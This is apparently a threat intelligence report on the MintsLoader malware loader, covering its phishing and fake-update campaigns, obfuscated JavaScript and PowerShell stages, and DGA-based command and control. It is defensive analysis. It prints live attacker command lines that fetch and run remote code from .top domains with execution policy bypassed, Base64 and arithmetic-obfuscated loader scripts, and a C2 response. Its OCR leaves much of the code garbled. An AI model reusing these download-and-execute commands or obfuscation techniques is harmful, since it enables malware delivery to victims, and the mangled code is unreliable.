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Executive Summary

MintsLoader, a malicious loader, was first observed in multiple phishing and drive-by download campaigns as
early as 2024. The loader commonly deploys second-stage payloads such as GhostWeaver, StealC, and a modified
BOINC (Berkeley Open Infrastructure for Network Computing) client. MintsLoader operates through a multi-
stage infection chain involving obfuscated JavaScript and PowerShell scripts. The malware employs sandbox and
virtual machine evasion techniques, a domain generation algorithm (DGA), and HTTP-based command-and-

control (C2) communications.

MintsLoader has been observed being used by various threat groups; however, operators of TAG-124 (also known
as LandUpdate808) have used it extensively. The loader is deployed through multiple infection vectors, including
phishing emails targeting the industrial, legal, and energy sectors (TAG-124); compromised websites
impersonating browser update prompts (SocGholish); and invoice-themed lures distributed via Italy’s PEC

certified email system.

MintsLoader’s use of obfuscation complicates static detections such as YARA rules, its use of DGA-based C2
infrastructure makes it difficult to maintain up-to-date watchlists or blocklists, and its anti-analysis techniques
complicate host-based detections that rely on sandboxes or virtualization. But Recorded Future’s Malware
Intelligence Hunting identifies new MintsLoader samples and associated C2 domains and provides an up-to-date

list for blocklists or threat hunting.

MintsLoader’s persistent use of obfuscation, sandbox evasion, and adaptive infrastructure likely ensures its
continued presence within the malware ecosystem, likely leading to increased use by additional threat actors. The
malware’s role as a versatile delivery mechanism reflects the increasing professionalization and specialization
within the cybercriminal community. While this growing sophistication benefits threat actors by enabling more
resilient and efficient operations, it may simultaneously provide opportunities for defenders to identify and disrupt

malicious activity more effectively and at scale.
Key Findings

e MintsLoader's second-stage PowerShell script uses sandbox and virtual environment evasion techniques,

reducing its susceptibility to automated analysis and increasing its likelihood of bypassing dynamic
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detection tools.

* MintsLoader's use of a DGA to generate daily C2 domains based on the system date complicates
infrastructure monitoring activity and domain/IP-based detections.

* Recorded Future’s Malware Intelligence Hunting provides up-to-date C2 domains and other artifacts
related to MintsLoader that would otherwise be hard to track due to its dynamic infrastructure.

e Insikt Group shows that GhostWeaver is the primary payload deployed by MintsLoader across observed
campaigns.

¢ GhostWeaver’s self-signed X.509 certificates are similar to those of AsyncRAT and variants of AsyncRAT,

leading to initial false associations with other malware families such as AsyncRAT.

Background

Orange Cyberdefense first detected MintsLoader in widespread distribution campaigns between July and October

2024. Insikt Group identified earlier campaigns in February 2024, based on Palo Alto’s Unit42 analysis of a

SocGholish infection.

The loader consists of JavaScript (stage one) and PowerShell (stage two) scripts retrieved from multiple DGA-
based domains. The name “MintsLoader” is derived from its distinctive use of the URL parameter

s=mints[NUMBER] (for example, s=mints11). MintsLoader is typically observed in campaigns delivering

secondary payloads such as GhostWeaver, StealC, and the Berkeley Open Infrastructure for Network Computing
(BOINC) client.

MintsLoader

Description MintsLoader s a PowerShell-based malware loader recently identifled in campaigns distributing

sacondary payloads such as GhostWeaver, StealC and the Berkeley Open Infrastructure for Network
Computing (BOINC)

Threat Actors TAG-124, SocGholish Target Industries Any
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Figure 1: MintsLoader profile (Source: Recorded Future)

While MintsLoader is believed to be used by multiple threat actors, TAG-124 (also known as LandUpdate808)
infections have frequently been observed deploying MintsLoader. Additionally, threat actors using SocGholish

were early adopters of MintsLoader, resulting in the initial assessment of MintsLooader campaigns as being
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exclusively associated with SocGholish. For example, in February 2024, Palo Alto’s Unit42 released indicators
linked to SocGholish (Figure 2); however, Insikt Group's analysis indicates that the URLs identified as delivering
AsyncRAT also align with known MintsLoader URL patterns.

TRAFFIC FOR FILES TO INSTALL ASYNC RAT:

MintsLoader

- GET /f15.s5vg
<e[.]top - GET \/ i Bh.php?s
- GET /tx5lm7djyghtr.php?

Figure 2: Palo Alto SocGholish infection IoCs (Source: Recorded Future)

Similarly, in July 2024, Huntress Labs reported a SocGholish infection delivering a BOINC client. Notably, the
URL used to download the BOINC matches known MintsLoader URL patterns. Figure 3 shows a high-level

overview of the threat actors that use MintsLoader.
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Figure 3: Threat actors' use of MintsLoader (Source: Recorded Future)
Below are recently reported campaigns involving MintsLoader.
MintsLoader and Kongtuke/ClickFix pages

In early 2025, security analysts observed a phishing campaign delivering MintsLoader as a first-stage loader.
Phishing emails (targeting the energy, oil and gas, and legal sectors in the US and Europe) carried either a
malicious JavaScript attachment or a link to a fake “Click to verify” web page. Figure 4 shows examples of

ClickFix pages.
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In both cases, the result was the execution of MintsLoader’s PowerShell-based second stage on the victim’s

machine. This loader pulled down the final payloads, notably the StealC infostealer and a modified BOINC client

build. The campaign leveraged fake CAPTCHA verification pages (ClickFix/KongTuke lures) to trick users into

executing a copied PowerShell command, which downloaded and ran MintsLoader (Figure 5).
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Figure 5: MintsLoader ClickFix infection chain (Source: Recorded Future)

Other infection chains in this campaign delivered MintsLoader via a downloaded ‘Fattura#####i##.js’ file (Italian

for “invoice”) that victims opened, leading to the same PowerShell loader execution. Researchers at eSentire’s
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Threat Response Unit reported this campaign and noted the threat actors’ focus on industrial and professional

services targets across North America and Europe.
SocGholish “FakeUpdates” Campaigns

Multiple reports indicate (1, 2) that the SocGholish (FakeUpdates) threat actors incorporated MintsL.oader into
their operations. Starting around July 2024, SocGholish infections from compromised websites showed infection

chains installing the BOINC-distributed computing client via MintsLoader.

In this drive-by campaign, shown in Figure 6, victims browsing legitimate but compromised sites encountered

fake browser update prompts (often originating from an update.js script). If run, the malicious JavaScript fetched

an obfuscated MintsLoader payload, kicking off a multi-step PowerShell sequence.

au! !!omy .

Injected script

MYRTEEBEACH GOLF AUTHORITY

circle.innovativecsportal.com

- l Obfuscated "Version.135.3869.57 js"
e S

You are using an older version of Firefox

= Bl

Updatelnstaller.zip

Deobfuscated "Version.

Fake Browser Update

gemini.1stpagegold.com/merchantServices

Figure 6: MintsLoader fake updates example (Source: TRAC Labs)

Huntress Labs documented two parallel outcomes: one branch resulted in a fileless AsyncRAT running in memory,
while the other led to a stealth BOINC installation under attacker control. The BOINC deployment was notably

modified and configured to connect to a malicious C2 rather than the standard BOINC server.

In some cases, the GhostWeaver PowerShell backdoor (tracked by Mandiant as UNC4108) was also delivered via

MintsLoader, providing attackers with a persistent foothold and a platform to load additional plugins.
Invoice Phishing in Europe

Another MintsLoader campaign in late 2024 targeted Furopean organizations via invoice-themed phishing emails,
an example of which is shown in Figure 7. Spam messages leveraged Italy’s PEC (certified email) system to add
legitimacy and lured recipients into opening attached JavaScript files masquerading as invoices. The Spamhaus
research team dubbed this the “PEC invoice scam” and highlighted how the attackers abused trusted email
channels to bypass security checks. This campaign was noted for “stealing time, money, and trust from

businesses.”
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From - it © @ Reply| & Reply Al v || # Forward More ™
To I - - -~ © 03:23
Subject Comunicazione di richiesta di pagamento per la fattura di_

Date Mon, 18 Nov 2024 03:23:06 +0100

Message ID Lope_gnazaug 106162.468.1.54@pec.aruba.it>

User agent Microsoft Windows Live Mail 15.4.3538.513

Received from localhost.localdomain (localhost [127.0.0.1]) by smtps.pec.aruba.it (Postfix) with EsMTP icl | NEEEESE o < - =c it>; Mon, 18 Nov 2024 03:23:09 +0100 (CET)

Buengiomo,

Con sede in Ucine(ud) [

E ]

Desidero informaria che in virtd del contratto sottoscrito tra di noi il 8/05/2024, si & obbligato/a a corrispondermi limporto di euro 687,28, Tuttavia, ad oggi tale somma non & ancora stata saldata nonostante | molteplici solleciti gia inviati.
Le comunico pertanto che, se non provvedera tempestivamente al pagamento entro cinque giorni dalla ricezione della presente, saro costretio/a a delegare il mio avvocato ad avviare le opportune azioni legali per il recupero del credito, senza

necessita di ulteriori avvisi o solleciti. Con |a presente, si intende dare formale messa in mora e interrompere il decorso della prescrizione

E' possibile scaricare fattura tramite il collegamento al link sottostante: Fattura

Cordiali saluti,

Figure 7: PEC phishing email (Source: Spamhaus)

Technical Analysis

MintsLoader uses a multi-stage execution chain involving JavaScript and PowerShell, with each stage employing
obfuscation to hinder analysis. Although MintsLoader functions solely as a loader without supplementary
capabilities, its primary strengths lie in its sandbox and virtual machine evasion techniques and a DGA
implementation that derives the C2 domain based on the day it is run. These features significantly complicate
static analysis and host-based detection. Despite this, its C2 communications occur over HTTP, which provides a
reliable vector for detecting and identifying new samples. Figure 8 provides the high-level capabilities of

MintsLoader.

Classification Anti-Analysis Defense Evasion

[ ] 1 Second-stage PowerShell runs
checks to see if it is running in
a virtual environment and
alters its behavior if

Malware Loader MintsLoader first-stage
JavaScript and second-stage

PowerShell are highly
H obfuscated

e 7
L

virtualization is detected

Collection Command-and-Control

—
— MintsLoader first stage is a MintsLoader does not have MintsLoader by default

m JavaScript that runs a any capability for data communicates over HTTP and
PowerShell command to collection port 80 and uses
download the second stage, DGA-generated domain names
which is another PowerShell with . top,.site,.shop and
script that then downloads and .space
executes the final payload in
memory

Figure 8: MintsLoader high-level capabilities (Source: Recorded Future)

This analysis of MintsLoader includes details on the first- and second-stage payloads and MintsLoader

infrastructure.
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MintsLoader Attack Chain

MintsLoader is commonly delivered via phishing emails containing links to KongTuke or ClickFix pages. When
executed, these pages retrieve and run the first stage of JavaScript. The JavaScript is heavily obfuscated, and

execution leads to running a PowerShell command to download and execute the second stage of MintsLoader, as
shown in Figure 9.

®8® Processes A

C:\Windows\system32\wscript.exe

PID:4092
wscript.exe C:\Users\Admin\AppData\lLocal\Temp\aec2646ebe29ad6851
6daec6f9cc1899e6a7a6278d72cebalc5cbebe8158bact. js
m  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PID:3184

"C:\Windows\System32\WindowsPowerShell\v1.8\powershell.exe" -n
oprofile -executionpolicy bypass -WindowStyle hidden -C " curl
http://hisatophjrok12.top/1.php?s=flibabc11 |iex"

This second stage conducts environment checks to determine whether it is running in a sandbox or virtualized
setting. Next, the script uses a DGA to produce the next C2 domain. MintsLoader then attempts to contact the

generated domain to download the final payload, such as GhostWeaver, StealC, or the BOINC client. Figure 10
shows a high-level overview of this attack chain.

MintsLoader Attack Chain
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Initial Access i . - i @_ - .;...h o
- b -
& JS \ < "
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’ o PowerShell script that performs 1
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L@' - obfuscated and when exacuted it sandbox or virtual environment I
runsa pDWLT'ISI‘D” command ko and then generates a DGA domain I

download MintsLoader's second (based on the day} to download I

stage the final stage !
Initial Access is gained by a
phighing email centaining a link
leading to a KongTuke/ClickFix /
page or a JavaScript attachment

MintsLoader downloads and
executes final payload
[GhostWeaver, StealC, or BOINC)

! Recorded Future’

Figure 10: Common MintsLoader infection chain (Source: Recorded Future)
Stage One: JavaScript

The initial stage of MintsLoader consists of a JavaScript file that executes a PowerShell command to retrieve the

second stage. The script is heavily obfuscated using junk comments, non-readable variables and function names,
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character replacement, and string encoding (Figure 11). Insikt Group found 141 MintsLoader stage one samples

using data derived from Recorded Future Malware Intelligence Hunting (Appendix A).

zet.Run(str 187 . egHDYV. etrvbayn@cgHfmpf 9tih232()).replace("u"

DeleteFile{WScript iptFullName)

Figure 11: MintsLoader stage one obfuscated JavaScript (Source: Recorded Future)

The core function of the stage one JavaScript payload is to run a PowerShell command that executes the command
‘curl -useb http://[domain]/1.php?s=[campaign]’, which downloads and executes the second stage. When ‘curl’ is
used in PowerShell with the option ‘-useb’, it is an alias for Invoke-WebRequest, and the program cURL is not

actually used to make the HTTP request.

Insikt Group identified three distinct versions of the stage one loader, all of which employ the same JavaScript

obfuscation techniques but differ in implementing the deployed PowerShell.

The first variant executes the PowerShell command in clear text, with the C2 domain hard-coded, as shown in

Figure 12. This variant is seen in “mints13” and “flibabc11” campaigns.

"8 Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData‘lLocal\Temp'\985b84ed4cBB325cf67bc3751d2a967b79c7bed442dc5ab41004
44ed91ce34787.

m C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.8%
-WindowStyle hidden -C " curl http://nzy3tvb

rshell.exe" -noprofile -exec
72g3.top/1.php?s=mintsi13 |iex

utionpolicy bypass

In the second variation, the PowerShell command is obfuscated using character replacement. The C2 domain is
still hard-coded, and an alias for the curl command is used instead, but the object is still to download the next
stage (Figure 13). This is the most widely used variant across the campaigns: “flibabc21”, “flibabc22”, "mints11”,

“mints13”, “mints21”, and “mints42”.
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"8 Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData‘\local\Temp'4617c748f179c1a1b5Tab371ba75%¢15c64ff1502d1dd7cb@ed
c818e362ca824.]js

m  C:\Windows\system32\conhost.exe

conhost --headless powershell $hvjasqgxdnybco='ur' ;new-alias printout c$(S$hvjasgxdnybco)l;$sghulc
awqp=(4121,4133,4129,4133, 4128, 4135, 4116, 40874, 4148,4121, 4869, 4864, 4134, 4129, 4138, 4865, 4067, 4864, 4
130,4122,4130,4081, 4133, 4879, 4127, 4123, 4128, 4134, 4133, 4868, 4867 ) ; $jhmzgfueoqcdav=( 'bronx', 'get-cm
dlet’);Spvftwhei=8sghulcawgp;foreach($tibrsevgxm in Spvftwhei) {Suwbfekxgzhgsvi=Stibrsevgxm;$jhrep
bl=§jhrepbl+[char]({Suwbfekxqzhgsvi-4818);%xoqgbhj=$jhrepbl; Saxchtioksnv=%xoggbhj};S$vgrzkpteogmnj
u[2])=Saxchtioksnv;Suvektlmo="'rl" ;Sroklcvw=1;.5([char](9992-9887)+'e'+ %" )(printout -useb $Saxchtio
ksnv)

m C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Shvjasgxdnybco='ur’' ;new-alias printout c$(3hvjasqxdnybco)l;$sghulcawgp=(4121,4133,
4129,4133,4128,4135,4116,4674,41408,4121,46069, 4864, 4134, 4129, 4138, 4865, 4067, 40864, 4138, 4122 ,413
B,4881,4133,4879,4127,4123,4128,4134,4133, 4868, 4867) ; $jhmzgfueogedav=( 'bronx’, 'get-cmdlet’ ) ;Sp
vftwhei=8sghulcawgp;foreach(Stibrsevgxm in Spvftwhei) {Suwhfekxgzhgsvi=§tibrsevgxm;5jhrepbl=5jh
rephl+[char](Suwbfekxgzhgsvi-4818) ;$xoggbhj=$jhrepbl; Saxchtioksnv=S$xoqgbhj};Svgrzkpteogmnju
[2]=8axchtioksnv;Suvektlmo="r1";$roklcww=1;.5([char](9992-9887)+ e '+ x')(printout -useb S$axcht
ioksnv)

The third variation encodes the command in Base64 (Figure 14). Insikt Group has seen this method used with the

older campaign “mints13”.

B C:\Windows\System32\WindowsPowerShell\w1.0\powershell.exe

powershell -executionpolicy bypass -WindowStyle hidden -file "C:\Users\Admin\AppData\Roam 1
ing\peXF7I6W.ps1"

B C\Windows\System32\WindowsPowerShell\v1.0\powershell .exe

"C:\Windows\System32\WindowsPowerShell\v1.@\powershell.exe" -executionpolicy bypass -Win
dowStyle hidden -c "[System.Text.Encoding]::UTF8.GetString([System.Convert]: :FromBase64S
tring( ' JEVycmSyQWN@aWsuUHJ1ZmVyZW5jZSA9ICIDb256aW51ZSINCgBKJEI 1WG1gMBF0aBd1YTRiek VSYX1ET
DBgJCgtam9pbiAoKDY1L145MCkgKyAoOTcul JEyMikgfCBHZXQtUmFuZG9tICT1Db3VudCA1IHwgJSB7W2NoYXJdJ
F99KSk7D0QokUGdvdGIYSzdQRk90dBY j SmtyZWZsT3Zadzh5TUSPbES8d81mczhRRTJMWCA9IFtpbnRAKEd1dCI1EY
XR1IC1Gb3JtYXQgSEgpOwBKJELYSmxicVVXbXNaQTFtMaVkc2IgPSBbaW58XShHZXQtRGFBZSAtRmIybWFBIGT tK
TsNCiRJWEpsYnFVV21zWkExb TNFZHNiIQWRKID@gMzsNCk1mICgkSVhKbGJxVVdtc1pBM@zRWRZYiAr ICRJNEpSY
nFVV21zWkExbTNFZHNIQWRkIC1ndCA10SkgewB8KICAgICRQZ296b1hLN1BGTB53RWNKa3J1ZmxPd1p30HINTKYsT
nR3SWZzOFFFMkxYID8gJFBnb3RVINES3UEZPTndFYBprcmVmbES2inc4eU10T2x0dHdJZnM4UUUY TFggKy AxOwBKL
CAgICRJWEpsYnFVV21zWKExbTNFZHNIIDBgJELYSmxicVVXbXNaQTFtMaVkc2IgKyAkSVhKbGJxVVdtc1pBMWazR
WRzYkFkZCATIDYwOwBKTSBFbHN1IHSNCiAgICAKSVhKbGJxVVdtc1pBMWBzRNRZY1A9ICRJWEPSYnFVV21zWKExb
TNFZHN1ICsgJEL1YSmxicVVXbXNaQTFtMBVke2JBZGO7DQp90wBKJFBnb3RvIWES3UEZPTndFY8premVmbE92Wincde
U10T2x0dHdJZnM4UUUy TFggPSBJZ1AoW2 1udFBoR2VBLURhdGUgLUZvem1hdCBISCkgKyAxIC1ndCAyMykgeyTwM
CJIIEVsc2UgeyRQZ298b1hLN1BGTO53RWNKa3J1ZmxPd1p30HINTKIsTnRISWZZOFFFMkxY fTsNCiRrclRxS@Jze
m50YTYRQ2VhaTJ6N3VuamRnZ@5KNEMybT1SSmhmRVVVcFNDdBgzRkpYdHNgeENacCAIICQoLWpval4gKCg2NS4u0
TApICsgKDk3LidxMjIpIHwgR2VBLYJhbmRvbSAtQ291bnQgMTIgfCALIHtbY2hhc18kX3@pKTsNCiR1ZHVBMYLCO
TAxVzJRCXFWYWkwY1Z6ak 90MGNWenNZQXREZBVkekM2d1pVYB1tNTBrRWdmbUd1UUM4UERKkazcgPSBAIQBKJEYyC
m9yQWNBaW9uUHJ1ZmVyZN5]ZSA9ICIDb2 58aW51ZSINCmNT cmwgLXVzZWIgImh@dHAGLYInalWJ1enV5Mzd2MnYud
G9wLzEucGhwP3MIbW1ludHMxMyIgfCBpZXg7DQpSZW1vdmUtSXR1bSA1QzpcVXN1enNcUHVibG1jXERVY3VLZWS8c
TwkKCRrcWRxS8Jzem50YTYRQ2VhaTJEN3YuamRnZ@5KNEMybT1SSmhmRVYYVeFNDdBgzRkpYdHNgeENacCkucHMx T
1AtRm9yY2UgDQoiQDsNCgBKINBvd2Vyc2hlbGwglWoveHIvEmlsZSAtZXh1Y3V@aWIucGIsaliNSIGI5cGFzeyAtY
21uZG93U3R5bCUgaGlkZGVUICT jICQoJGIkdXQxWUISMDFXM1FxcVZhaTBiVnpgT@4wY1Zyc11BdERNRWR6QZZ3N
1VjTWB1MGtFZ2ZtR3VRQzhQSGRrNykiIHwgT3VBLUZpbGUgLUZpbGVQYXRoICJDO1xVe2Vyc1xQdW)saliNcRGYjd
W11bnRzXCQoJGtxZHFLQNNybkShNVFDZWFpMno3dW5qZGdnTko8Qz JJtOVJKaGZFVVVWUBN3SDNGS1h8c2p4Q1pwK
S5wczE10wBKcG93ZXJzaGYsbCAtbmIwemImalx1IC11eGY jdXRpb2 Swb2xpY3kgYnlwYXNzIC1XaW5kb3dTdH1sZ
SBoaWRkZW4gLUZpbGUgQzpcVXN1enNcUHVibG1 jXERvY3VtZW58c1wkKCRrcWRxS8Jzem50YTVRQ2VhaTJ6N3Vua
mRNZ@5KNEMybT1SSmhmRVVVcFNDdBgzRkpYdHNgeENacCkucHMxDQpSZW1vdmUtSXR1bSALJGVud jpBUFBEQVRBX
CoucHMxI1AtRmIyY2UNC1J1bW92ZS1JdGV+ICIkZW520kFQUERBVEFcKi51YXQiIC1Gb3JFZABK" }) | iex”

m C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.8\powershell.exe" -noprofile -executionpolic I
y bypass -WindowStyle hidden -File C:\Users\Public\Documents\OeABIsbdhgin.ps1

B C:\Windows\System32\WindowsPowerShell\w1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.8\powershell.exe" -noprofile -executionpo I
licy bypass -WindowStyle hidden -c¢ Continue = Continue

However, in this version, the PowerShell command creates a file containing the PowerShell command to

download the second stage via cURL. It then runs the file and deletes it.
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$ErrorActionPreference = "Continue"
$randomNamePart1 = -join ((48..57) + (97..122) | Get-Random -Count 5 | % { [char]$_});

$ScurrentTimeHour = [int](Get-Date -Format HH);
$currentTimeMinute = [int](Get-Date -Format mm);

$minuteAdjustment = 3;

If (ScurrentTimeMinute + $minuteAdjustment -gt 59) {
$currentTimeHour = $currentTimeHour + 1;

$currentTimeMinute = $currentTimeMinute + $minuteAdjustment - 60;
} Else {

$currentTimeMinute = $currentTimeMinute + $minuteAdjustment;

b

$currentTimeHour = If (([int]l(Get-Date -Format HH) + 1) -gt 23) { "00" } Else { $currentTimeHour };
$randomNamePart2 = -join ((65..90) + (97..122) | Get-Random -Count 12 | % { [char]$_ });
$scriptToExecute = @"

$ErrorActionPreference = "Continue"

Remove-Item " C:\Users\Public\Documents\$($randomNamePart2).ps1" -Force

"@;

"powershell -noprofile -executionpolicy bypass -WindowStyle hidden -c $($scriptToExecute)" | Out-File
-FilePath " C:\Users\Public\Documents\$($randomNamePart2).ps1";

powershell -noprofile -executionpolicy bypass -WindowStyle hidden -File

" C:\Users\Public\Documents\$($randomNamePart2).ps1";

Remove-Item "$env:APPDATA\*.ps1" -Force
Remove-Item "$env:APPDATA\*.bat" -Force
Table 1: Decoded base64 text stage one PowerShell (Source: Recorded Future)

Stage One C2 Communication

Executing any variant results in an HTTP GET request to the hard-coded domain to retrieve the second-stage

payload. A successful request will retrieve and execute the PowerShell script shown in Figure 15.
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GET /1.php?s=flibabc11 HTTP/1.1

User-Agent: Mozilla/5.8 (Windews NT; Windows NT 10.0; en-US)
Host: gkmjsgiiebuinyu.top

Connection: Keep-Alive

HTTP/1.1 208 OK

Date:

Content-Type: text/plain
Content-Length: ]
Connection: keep-alive
Server:

$hodjwsxcuh=$executioncontext ; $edalatarinantiontionanattionederbe = (-JOIN (@((-9015+9068), (194948/(1021+2728)), (536085/9405), (365050/7301), (179816/ (4735-(11925300/
(26620650/3462)))), (-5318+5372), (-1916+1972), (76676/1394), (425810/(17431-9689) ), (429-379), (B702-8646), (-399+447), (458003/9347), (6206- ( -2927+9078) ), (294788/5669 ), (3095-3039),
(-8457+(2351+(12197-6037)) ), (-1831+(4008- (- 3840+ (14495- (38001902/ 30182434/ (26420644/(8492-4594)))))))), (8971-(2105+6810) ), (274743/(10827-5220) ), ( -3483+3537), ( -3576+3632),
(165495/3009), (8929- (16038-1161)), (278190/( -3509+8567) ), (-10031+10081), (-5918+5974), (149184/(3311- ( -5088+(14919-9628))) ), (5963- (12974 - 33916800/ ( -2976+(49634208/
(14327-7944)))))), (508400/10168), (5228-5172), (9870-9821), ( -2620+2676), ( -8661+(323+(1139+7254) ) ), (5564-5515), (8837 (8832~ (-4647+4697))), (-9588+(10417- (10168~ (8697+(2828133/
(38034920/9320))))) ), (-229+283), (9250- (8779+415) ), (7554-7498), (3838- (37831346/(6248+3755))), (-144+199), (467600/8350), (450850/ (18266~ (5835+3414))), (9092-9036), (384960/8020),
(1819-1765), (-9617+(49109821/5077) ), (4903-4847), (-2776+(16479251/(19174374/ ( -4436+(-1557+(6799+(6489-4001))))))), (1416-(10317-(8821+135)) ), (297540/ (11863030, (14209800/ (6970
(3468-(8273-(6028- ( -8230+(4816+4267))))))))), (5703-(56351413/(9447+(5391-(3172+1687))))), (-7887+( 73568053/ (9550-281))), ( -8766+8816)) | ForEach-Object { [char]$_ }));
$aredededaloratedatatorerorantionenisares = (-JOIN (@((-3586+3635), (-1232+(8021622/6262)), (3836-3781), (177-(-3427+(3873-(654-(1733-1399))))), (-7318+7372), (5947-5891), (39648/
(-6535+(17031-9670) ) ), (-3498+( -1809+5363) ), (-4079+4133), (367620/(-924+7608) ), (134028/(15395846/6203) ), (121794/2298), ( -6424+(1826+4652)), (451528/(11434-3371) ), (-2518+2573), (158-
(121128/( -2475+( 34867050/ (47597200/ (278+(12862- ( 2638+ (53778428/ (17126~ ( -1918+(9496- (1847538/9331))))))))))))), (1911-1857), (1119-1064), ( -8115+(41168516/503) ), (398328/7113),
(494748/9162), (183816/(11592-8188) ), (67816/1211), (3952-3896), (-7809+(3800+(11324-(17216-9943)))), (475552/8492), (-10607+16061), (9361- (8779+527) ), (-5612+(2415+(31983338/9838))
(494728/9514), (6053 - ( 23883980/ (-2339+6319) ) ), (3907 - (2418428/ (5638~ (4678+(9797-(2424+7041)))))), (219471/4479), (1871- (10420~ (16819- (10271 - (14060984/ ( 66823869/ (11995-2224))))))
(84726/1569), (560392/(3750+(14876- (610+(8446-437))))), (65890/(432478/361) ), (333528/6414), (6242~ (-3499+9692) ), (544050/10075), ( -977+( - 7431+(1225+( -1346+(64798995/7547)))) ),
(-6208+6263), (495-441), (-1373+1428), (9720-9663), (444070/(12127148/ (8319578/ (568+(39236103/ (278386117 ( -2820+(7529- (1645344/ (4720272/(16473478/4858))))))))))), (6609-(-3507+
(94640532/9402) ) ), (157520/ (6715~ (4724 (-7422+8295) ) ) ), (313649/ (6100+(124+( -5740+(7507- (13696260/(8952-338)})))))) | ForEach-Object { [char]$_ }));
$inanoraleratattionanedorenalenaledar = -join ((-154+154)..(6871-(11808-4974)) | ForEach-Object {[char][int]((-1215+(2130972/(576+1137))) + ($edalatarinantiontionanattionederbe
Saredededaloratedatatorerorantionenisares). ((-jOiN (@((2674-2591), (3841-(32715340/(-675+(17570- (16014-(3048+4856)))))), (408954/(12316-8143)), (-783+(7461482/8309) ), (6584-6468),
(-2525+(12699-10060) ), (-2682+2787), (592570/5387), ( -5068+5171) )| ForEach-object { [char]$_ })))(($_ * (15886/7943)), (-6417+6419)))});$enaredereralonorbeeredorenedarin = -join
((7814-7776)..(2385-(22961892/9838)) | ForEach-Object {[char][int]((9099-(14646-5576)) + ($edalatarinantiontionanattionederbe + $aredededaloratedatatorerorantionenisares). ((-JC
(@((79265/955), (782379/6687), (38514/393), (-8645+(5389+3371)), (268308/2313), ( -6476+(63349670/ (43556503/ (4187+344)))), (-10023+(49333488/4871)), (-9242+(7381+1971)), (33887/329)) |
ForEach-Object { [char]$ })))(($ * (12400/(8818-2618))), (?776 7774)))}) [Ref].(-join (@..7 | ForEach-Object {[char]

([int]"00000103606001530000015300000 13900000 147000001 159" . substring(($_ * ([math]::Pow(2, 2 + 1))), ([math]::Pow(2, 2 + 1))) - 38)})).(([chAr[]1@((-4626+4697),
(1313- (5352192/4416)) (6181- 6@65) (814464/(40829556/(3397+314))) (364452/3012), (802032/7161), (7162-(61324785/8685))) -join ''))($inanoraleratattionanedorenalenaledar).(-join
(0..7 | ForEach-object {[char]([int]"©1650195021001640199019502020194" .Substring(($_ * ([math]::Pow(2, 1 + 1))), ([math]::Pow(2, 1 + 1))) - 94)}))
(Senaredereralonorbeeredorenedarin, (-JOIN (@((9458-9380), (4459- (-4165+(69542697/ (2765+(81+5323))))), (704990/6409), (5679207 (8341- (-5626+6868)) ), (-2905+(24469134/8097)),
(1369-1271), (676296/6262), (1236907 (7756~ (7554~ (- 78+(5733760/5440))))), (856350/8650), (-2477+( -4239+(46420920/6867)) ), (353663/ ( -5645+(843+(40140027/4429)))), (4750-4634),
(9858-9761), (-5782+(17+5881)), (-4076+(-3316+7497)), (4664-4565))| ForEach-Object { [char]$_ }))).((-jOIn (@((88395/1065), (-3212+3313), (1433-1317), 617486/ (52090900/ (8889~ (-8004+
(96505294/(10439-426)))))), (2037-(988+952) ), (723384/6698), (-9449+9566), (-4240+4341))| ForEach-Object { [char]s_ })))($null, $true)

)
)

Figure 15: Successful stage two retrieval from C2 (Source: Recorded Future)

If the DGA domain is no longer valid, a 302 response is returned, as shown in Figure 16.

HTTP/1.1 362 Found

Server: nginx/1.18.0 (Ubuntu)

Date: Mon, 10 Mar 2025 12:58:16 GMT
Content-Length: @

Connection: keep-alive

Location: http://bpggexeoed4k71bs.com

Figure 16: Failed stage two retrieval from C2 (Source: Recorded Future)

Stage Two PowerShell

The second stage, PowerShell, contains a Base64-encoded string. After XOR decoding and uncompressing, the
primary payload, which is also obfuscated, is yielded. Figure 17 shows a snippet of this payload, illustrating

MintsLoader's obfuscated string construction techniques.
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g :fogjinelbdw=$executioncontext;$hrzctn=(Get-MpComputerStatus). ($global:foqjinelbdw. ([char[]

(4835-4730), (-8733+8843), (3334-3216), (137085/1235), (676-569) , (320069/3169), (-435+534), (-1522+(7426884/

7528-2980)) ), (722125/(44725375/(12126-5375)) ), (6342-6233), (118146/(2045022/1679) ), (3387-3277), (-733
+(1330-497))) -join '').([char[1]1@((477-376),(8221-8101), (225680/2015), (8318-8221), (488950/4445), (87100/
871), (1156325/ (6002+(10148-(10836-4741)))), (-5878+(6413580/1070) ), (264822/2323), (10048- (904813/

8952-8861)) ), (625790/5689), (759831/ (3824+(3075+478)))) -join '')([char[] (9820- (5656+(4516-425)) ),
(9532-9417), (8239-8153) , (7582-(7499431/(3561- (17967392/(3748+3276))))), (-5146+5260), (-4336+(10296-5844)),
(-9009+9126) , (709555/7315), (-667+775) , (256564/ (4631480/1390) ), (955256/(10199- (2479113/(12216- (12867041/
2497))))), (-5737+(9857-(-3314+7335))), (378560/ (-5967+9607) ) , (6913-6808) , (-9814+(65329692/6583) ), (232704/
2304)) -join "))
$qzugfchiwsjako+= ((21163744671+4319)- (11773330/(477+1354)));
$jhandmboqu—((Get -WmiObject $g al:foqjinelbdw. ([char[]]@((-2140+2245), (8436-8326), (9783-(15950-
(27201486/4328))), (116106/1046), (688224/6432),(735684/7284),(2236-2137), (647574/(13389-7555) ), (5970~ (8568-
(5126-k-2e37+4456)) ), (-9833+9942) , (8982- (42985630/4838) ), (7347-7237), (-3957+4657)) -join *').([char[]]@
((-5470+5571), (4720-(-1719+6319)), (-3145+( -3444+(16834-10133) ) ), (-2157+2254) , (3855-2945) , (9153- (2277
+(7898-1122))),(721165/6271), (-608+(6638356/9169) ), (-335+449), (2864-(26715397/(6561+3122))), (8813~
44037180/5060) ), (720897/(48769032/6968))) -join '")(-join (@( (116058/(1119+215)),(7032-(7893-(9951-(601
+(46925248/5597))))), (5835-(24829325/(1934+2403)) ), (6218-(17427942/2826) ), (3360-3310), (-593+688) , (347612/
(35642356/8818) ), (4393-4288),(1022400/10224), (6490-6389) , (1049727/9457),(3221-3154), (8996-(6765+ (1777
